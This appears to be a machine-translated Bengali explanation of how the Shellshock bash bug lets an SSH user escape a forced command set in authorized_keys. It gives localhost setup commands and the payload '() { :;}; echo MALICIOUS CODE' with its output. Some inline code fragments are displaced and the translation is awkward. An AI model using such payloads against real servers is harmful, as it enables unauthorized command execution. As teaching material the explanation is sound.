এটি ব্যবহার করা যেতে পারে এমন একটি উদাহরণ authorized_keys
জোরপূর্বক কমান্ড সহ সার্ভারগুলিতে । এন্ট্রি যুক্ত করার সময়, ssh সার্বজনীন কী ব্যবহার করা হয় এমন সময় চালনার জন্য আপনি ~/.ssh/authorized_keys
লাইনের সাথে উপসর্গ করতে পারেন । এই শোষণের সাহায্যে, যদি লক্ষ্য ব্যবহারকারীর শেল সেট করা থাকে , তারা বাধ্য হয়ে যে কমান্ডটি প্রয়োগ করেছে সেগুলি বাদ দিয়ে অন্য জিনিসগুলি চালানোর জন্য তারা শোষণের সুযোগ নিতে পারে।command="foo"
foo
bash
এটি সম্ভবত উদাহরণে আরও অর্থবোধ করতে পারে, সুতরাং এখানে একটি উদাহরণ দেওয়া হল:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
এখানে আমরা একটি ব্যবহারকারী সেট আপ করেছি testuser
, এটি আপনার ssh কী ব্যবহার করে যে কোনও ssh সংযোগকে বাধ্য করে echo starting sleep; sleep 1
।
আমরা এটি দিয়ে পরীক্ষা করতে পারি:
$ ssh testuser@localhost echo something else
starting sleep
আমাদের echo something else
রান কীভাবে হয় না তা লক্ষ্য করুন তবে starting sleep
জোর করে কমান্ডটি চালিয়েছে তা দেখায়।
এই শোষণটি কীভাবে ব্যবহার করা যেতে পারে তা এখন দেখান:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
এই কাজ করে কারণ sshd
সেট SSH_ORIGINAL_COMMAND
কমান্ড এনভায়রনমেন্ট ভেরিয়েবল পাস। যদিও sshd
দৌড়ে গেছে sleep
, এবং যে আদেশটি আমি এটি বলেছি তা নয়, শোষণের কারণে আমার কোডটি এখনও চালানো হয়।